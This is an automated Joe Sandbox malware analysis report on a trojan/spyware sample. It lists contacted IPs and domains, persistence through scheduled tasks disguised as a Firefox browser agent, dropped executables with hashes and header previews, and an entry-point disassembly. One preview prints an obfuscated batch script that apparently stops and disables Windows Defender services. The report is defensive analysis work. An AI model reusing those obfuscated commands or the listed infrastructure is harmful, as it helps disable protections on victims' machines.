http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/X	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id3Response	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/soap/actor/next	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	false		high
http://service.r	8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id9	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id8	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
45.141.84.21	nusurtal4f.net	Russian Federation	206728	MEDIALAND-ASRU	false
47.74.84.15	host-host-file6.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
45.9.20.149	unknown	Russian Federation	35913	DEDIPATH-LLCUS	false
216.128.137.31	unknown	United States	20473	AS-CHOOPAUS	true
93.115.20.139	unknown	Romania	202448	MVPShttpswwwmvpsnetEU	false
162.159.134.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	518780
Start date:	09.11.2021
Start time:	22:19:09
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 56s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	y4oMrtO1Mt.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	34
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@29/14@38/7
EGA Information:	Failed
HDC Information:	Successful, ratio: 78.7% (good quality ratio 71.5%) Quality average: 70% Quality standard deviation: 31.7%
HCA Information:	Successful, ratio: 87% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. HTTP Packets have been reduced TCP Packets have been reduced to 100 Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 131.253.33.200, 13.107.22.200, 104.208.16.94 Excluded domains from analysis (whitelisted): www.bing.com, ctldl.windowsupdate.com, arc.msn.com, ris.api.iris.microsoft.com, dual-a-0001.dc-msedge.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, www-bing-com.dual-a-0001.a-msedge.net, blobcollector.events.data.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:20:49	Task Scheduler	Run new task: Firefox Default Browser Agent 9682C9CDD0967C59 path: C:\Users\user\AppData\Roaming\hrgjvbv
22:22:06	Task Scheduler	Run new task: Firefox Default Browser Agent 386388EAAF16D104 path: C:\Users\user\AppData\Roaming\argjvbv

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\8039.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\8039.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	410
Entropy (8bit):	5.346314304489858
Encrypted:	false
SSDEEP:	12:Q3La/hhkvoDLI4MWuCqDLI4MWuPk21q1KDLI4M6:MLUE4K5E4Ks2E1qE4j
MD5:	C70892F98C66E2701D48CFC052DE80F6
SHA1:	FBAC1415A037F6F650B418F17CD9AF44AE845E20
SHA-256:	AEE730B643B2C97FCBA55D2A3385160819447E1EDC8E08595B0605ADEB553A89
SHA-512:	ECE4FC4F5F20E490F48D0B0B5152ECCAC6A2FEDFF21D94A56E99F7AC54BE8E84D56472987C758891C8C8BAFFEEE1FEBF2CEBCD42456391DCF214B1AC06C55E66
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Temp\1105.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\9D57.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1622408
Entropy (8bit):	6.298350783524153
Encrypted:	false
SSDEEP:	24576:hNZ04UyDzGrVh8xsPCw3/dzcldJndozS35IW1q/kNVSYVEs4j13HLHGJImdV4q:dGrVr3hclvnqzS35IWk/LvRHb0
MD5:	BFA689ECA05147AFD466359DD4A144A3
SHA1:	B3474BE2B836567420F8DC96512AA303F31C8AFC
SHA-256:	B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B
SHA-512:	8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8B0BDC3BED687F3ADAB9E60F08CCEC5D5A3FD916E3091C845F9D96603749490B1F7001430408F711D4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L!y>.@.m.@.m.@.m...l.@.mg$.l.@.mg$.lN@.mg$.l.A.mg$.l.@.mg$.l.@.mg$.m.@.mg$.l.@.mRich.@.m........................PE..L...s<s............!.....,...................P....(K......................................@A.............................&..............8............h...Y.......N..`l..T............................................................................text....).......*.................. ..`RT...........@...................... ..`.data...dW...P.......0..............@....mrdata.h#.......$...>..............@....00cfg...............b..............@..@.rsrc...8............d..............@..@.reloc...N.......P..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\59B4.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2758360
Entropy (8bit):	7.8072751275522085
Encrypted:	false
SSDEEP:	49152:SegXQmBiJwU7ltidndcPtBy1y4wLSo7HevDBiit8eU7LmgD+QDWYYOu4A:MfBcnmUCQL0FZtO7LFDO
MD5:	510129781D403976345AFEA3BDB4E426
SHA1:	7990E703C20D541B81D310AA6DF243BAF591ED04
SHA-256:	9642C83319B6F287E5FEACA3EDB50BD447A9CD41CDB88D6E588AA569BFF23552
SHA-512:	1DDD3F8E813091E5DF421235B5AA8FEE8845E960794D72BEB0925D854119653F5D2E9E8190177EAACC6F20A1D791CF3926420E441F76C6B7CA155120E7B0DF7B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L................0...............H.. ...@....@.. ....................... o.....^.*...@.................................:...P.....i.oC............)............................................................................................. . ... ...................... ..` hN...@......................@..@ ............................@..@.idata... ..........................@...~.\1847. ..........................@..@.themida..>.........................`....boot.....!...G...!.................`..`~.\1847P.....i.......$............. ..`~.\1847P.....i.......$............. ..`.rsrc...oC....i..D....$.............@..@................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\610B.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	365568
Entropy (8bit):	6.486259774061807
Encrypted:	false
SSDEEP:	6144:wQBXemUkeyanBOnxNrQZ85As33XirHVcrdtCzrC8qhmzAzCB6lYDuvq:5BOWmBOnxdzXiDqrdtCzrCRmzAzCB2YZ
MD5:	7BD70FFC35AB8B39FDE9BD5FAEC876DB
SHA1:	01BB3BF7DD71EDBCB81DBFDEA0EAA80DF35F8443
SHA-256:	682DEC9DEB96439E3D921A1BB95CF498729FE8EAD7B665A6E17FEA7349998CD0
SHA-512:	88095122F60A9CC515930EDC5F7895A1224F4ACA0589B85961B657DB55A77B8F2CA483A030DD02C6CB65D0E0680DF16800A104D5D102C52F316BECA26E76DC26
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................G......r......F................\|....C......v......q.....Rich............PE..L...2.u`.................0....p..............@....@...........................u..............................................2..P.....s..B....................t.....@...................................@............................................text...X........0.................. ..`.data...,do..@.......4..............@....rsrc....B....s..D...F..............@..@.reloc........t.....................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8039.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	7.82778559429451
Encrypted:	false
SSDEEP:	6144:hKaDPab1LDUZtIkWAsI36168lf+7ZgNv6IO6z:hK4wlKetAsSgf+VO6IO6
MD5:	EF9CFB2DDC4AF2089DF63A761ECC7833
SHA1:	2E44DAD28F2131822DCD9B7868C11FB1767C3D4B
SHA-256:	9FD007DE870E23DEB778B08AF3A01E3DFAF9DFC3483496C438EC734B26D26340
SHA-512:	E95BA94E92470BE2B4FCC8FE9E4C128E1E529B3C29C9439FBCFAFD972E37BF3FF011B09F7D9FB0CE6E58B39C91F46C5087F433CB9DDDA8FA7C319DA41427FAA2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 36%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x.a..................................... ....@.. ....................................@.................................(...S.......................................................................................................H...........)EWhg.NF .... ......................@....text...4........................... ..`.rsrc................r..............@..@.....................\|.............. ..`.reloc...............~..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\82DC.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	399872
Entropy (8bit):	3.7275795885047986
Encrypted:	false
SSDEEP:	12288:vQuTQwVAJpxBG3t5Y4I6hGk3JfTCc61OC1dDEtDs7C:vQp/JuS
MD5:	0F289285CADCF1E656016A19789B5637
SHA1:	255E2358E028F91BC273CAD7984E73054D47CEFB
SHA-256:	BF3CF8C31844F459B99593A2291F55D1BD57A73E293067E5921A45FE85F8F2F6
SHA-512:	BE3F4A57128B9FA791DC44F33C97C67FE74652A2347506F916B5EB999DBD2D6B04FF6E4158AD52E59BE3A603EF499E8C00CCA5C517A4024B6735B3DB54F5598C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 54%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..............0... ...@....@.. ....................................@................................../..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................0......H......../..T4...........................................................0..........~....u....s....z&......................2(.... ....j....r...p(.....s....%.}..........s....o....9....s....z....(.........2.s....(.......v.(......r-..p~....o....(........{.....0..i........:....~........(......~....:$.........(.........(....(....(.........~....{....~.....o....(....o....}........0...........o......o....(.....(.....o.....6..(....(....*...0..E.......~.....s.......8"........

C:\Users\user\AppData\Local\Temp\9D57.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	233472
Entropy (8bit):	6.6947626548823385
Encrypted:	false
SSDEEP:	6144:vLDuP9cE7VUV+/7yfpO7JTx4uzbgwu6QigabwVf:DDxE7VUVPOL4unn5
MD5:	08CB82859479B33DC1D0738B985DB28C
SHA1:	2162CEC3E4A16E4B9C610004011473965CF300F8
SHA-256:	8DB223A1FFA1B3B3788EE9F0E050CC64F7B5CBEFA8745E95E00391F7BABCCE58
SHA-512:	A69A4EACB8CED14DC55FCA39D43D6182FE8D600D4DA9FB938298FC151866A26777B45A527BCB2CC099D734111DBEB70224ED16E9B590C8B76B057B905EB7C912
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L....xL`.................:...................P....@.......................... .............................................T...<.... ...............................Q..............................(n..@............P..l............................text...p9.......:.................. ..`.rdata...:...P...<...>..............@..@.data...............z..............@....rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B8B0.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	161280
Entropy (8bit):	5.163359140538006
Encrypted:	false
SSDEEP:	3072:hj1+ax5s9jVultxyIAMzTjSMzTjoIe1UhCp:hJqjVoeN
MD5:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
SHA1:	6E1ACD6CB17AB64AC6DBF0F4400C649371B0E3BD
SHA-256:	08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EAB8C
SHA-512:	14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05C9BF2
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B8B0.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.wa..............P..l.............. ........@.. ...................................@.....................................O....................x............................................................... ............... ..H............text....k... ...l.................. ..`.rsrc................n..............@..@.reloc...............t..............@..B.......................H.......(u..t.......A...HL...(..........................................M...Z...........................................................................................@...............................................................................................................................................................................................!...........L.......!...T...h...i...s... ...p...r...o...g...r...a...m... ...c...a...n...n...o...t... ...b...e... ...r...

C:\Users\user\AppData\Local\Temp\F72D.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	292864
Entropy (8bit):	5.9359496550819655
Encrypted:	false
SSDEEP:	3072:6zyig02ASl6xXrDXa23CiVfcC5DBoLtJaIC4CrraxIsgUUirwX0m5Sl5nTk5DItT:6xxXoiVfcGB0vaIC4CrrqR3rC0z5+k
MD5:	DB2EF30E8F821C8F00456941F5944849
SHA1:	01A08A69F1E8E6D822ECE577A9EBE84A0C7F5F60
SHA-256:	433CF9125A44E304ECA2C5CF3BFE2AF0B1DEAFD1C5E8D13D559E1BAC9DE711B3
SHA-512:	7E8A3B0A1C57B3E7E8B6BFF850D5CD28BBABCA63BA90BCA0F7A502E3964DE641004388AFB1271A01E7BC34BA66D6299E487107869C4BC224BF36D6FB900E72EE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................G......r......F................\|....C......v......q.....Rich............PE..L...Md._......................p.....`........0....@...........................t.....1...........................................P.....r..B....................r.....@................................{..@............................................text............................... ..`.data...,do..0......................@....rsrc....B....r..D...*..............@..@.reloc........r......n..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\B8B0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\B8B0.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	modified
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
Reputation:	unknown
Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Roaming\argjvbv Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	233472
Entropy (8bit):	6.6947626548823385
Encrypted:	false
SSDEEP:	6144:vLDuP9cE7VUV+/7yfpO7JTx4uzbgwu6QigabwVf:DDxE7VUVPOL4unn5
MD5:	08CB82859479B33DC1D0738B985DB28C
SHA1:	2162CEC3E4A16E4B9C610004011473965CF300F8
SHA-256:	8DB223A1FFA1B3B3788EE9F0E050CC64F7B5CBEFA8745E95E00391F7BABCCE58
SHA-512:	A69A4EACB8CED14DC55FCA39D43D6182FE8D600D4DA9FB938298FC151866A26777B45A527BCB2CC099D734111DBEB70224ED16E9B590C8B76B057B905EB7C912
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L....xL`.................:...................P....@.......................... .............................................T...<.... ...............................Q..............................(n..@............P..l............................text...p9.......:.................. ..`.rdata...:...P...<...>..............@..@.data...............z..............@....rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\hrgjvbv Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	292864
Entropy (8bit):	5.9359496550819655
Encrypted:	false
SSDEEP:	3072:6zyig02ASl6xXrDXa23CiVfcC5DBoLtJaIC4CrraxIsgUUirwX0m5Sl5nTk5DItT:6xxXoiVfcGB0vaIC4CrrqR3rC0z5+k
MD5:	DB2EF30E8F821C8F00456941F5944849
SHA1:	01A08A69F1E8E6D822ECE577A9EBE84A0C7F5F60
SHA-256:	433CF9125A44E304ECA2C5CF3BFE2AF0B1DEAFD1C5E8D13D559E1BAC9DE711B3
SHA-512:	7E8A3B0A1C57B3E7E8B6BFF850D5CD28BBABCA63BA90BCA0F7A502E3964DE641004388AFB1271A01E7BC34BA66D6299E487107869C4BC224BF36D6FB900E72EE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................G......r......F................\|....C......v......q.....Rich............PE..L...Md._......................p.....`........0....@...........................t.....1...........................................P.....r..B....................r.....@................................{..@............................................text............................... ..`.data...,do..0......................@....rsrc....B....r..D...*..............@..@.reloc........r......n..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\hrgjvbv:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.9359496550819655
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	y4oMrtO1Mt.exe
File size:	292864
MD5:	db2ef30e8f821c8f00456941f5944849
SHA1:	01a08a69f1e8e6d822ece577a9ebe84a0c7f5f60
SHA256:	433cf9125a44e304eca2c5cf3bfe2af0b1deafd1c5e8d13d559e1bac9de711b3
SHA512:	7e8a3b0a1c57b3e7e8b6bff850d5cd28bbabca63ba90bca0f7a502e3964de641004388afb1271a01e7bc34ba66d6299e487107869c4bc224bf36d6fb900e72ee
SSDEEP:	3072:6zyig02ASl6xXrDXa23CiVfcC5DBoLtJaIC4CrraxIsgUUirwX0m5Sl5nTk5DItT:6xxXoiVfcGB0vaIC4CrrqR3rC0z5+k
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................G.......r.......F.................\|.....C.......v.......q.....Rich............PE..L...Md._...................

File Icon


Icon Hash:	aedaae9ecea62aa2

Static PE Info

General
Entrypoint:	0x418260
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5FD7644D [Mon Dec 14 13:10:37 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	a5effb4de201aefae267d5eef9a314ac

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FBB1C85610Bh
call 00007FBB1C852EA6h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 004310E0h
push 0041A680h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [00433404h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401088h]
cmp dword ptr [02B28428h], 00000000h
jne 00007FBB1C852EA0h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [00401104h]
call 00007FBB1C853023h
mov dword ptr [ebp-6Ch], eax
call 00007FBB1C859ADBh
test eax, eax
jne 00007FBB1C852E9Ch
push 0000001Ch
call 00007FBB1C852FE0h
add esp, 04h
call 00007FBB1C859438h
test eax, eax
jne 00007FBB1C852E9Ch
push 00000010h
call 00007FBB1C852FCDh
add esp, 04h
push 00000001h
call 00007FBB1C859383h
add esp, 04h
call 00007FBB1C85719Bh
mov dword ptr [ebp-04h], 00000000h
call 00007FBB1C855B2Fh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
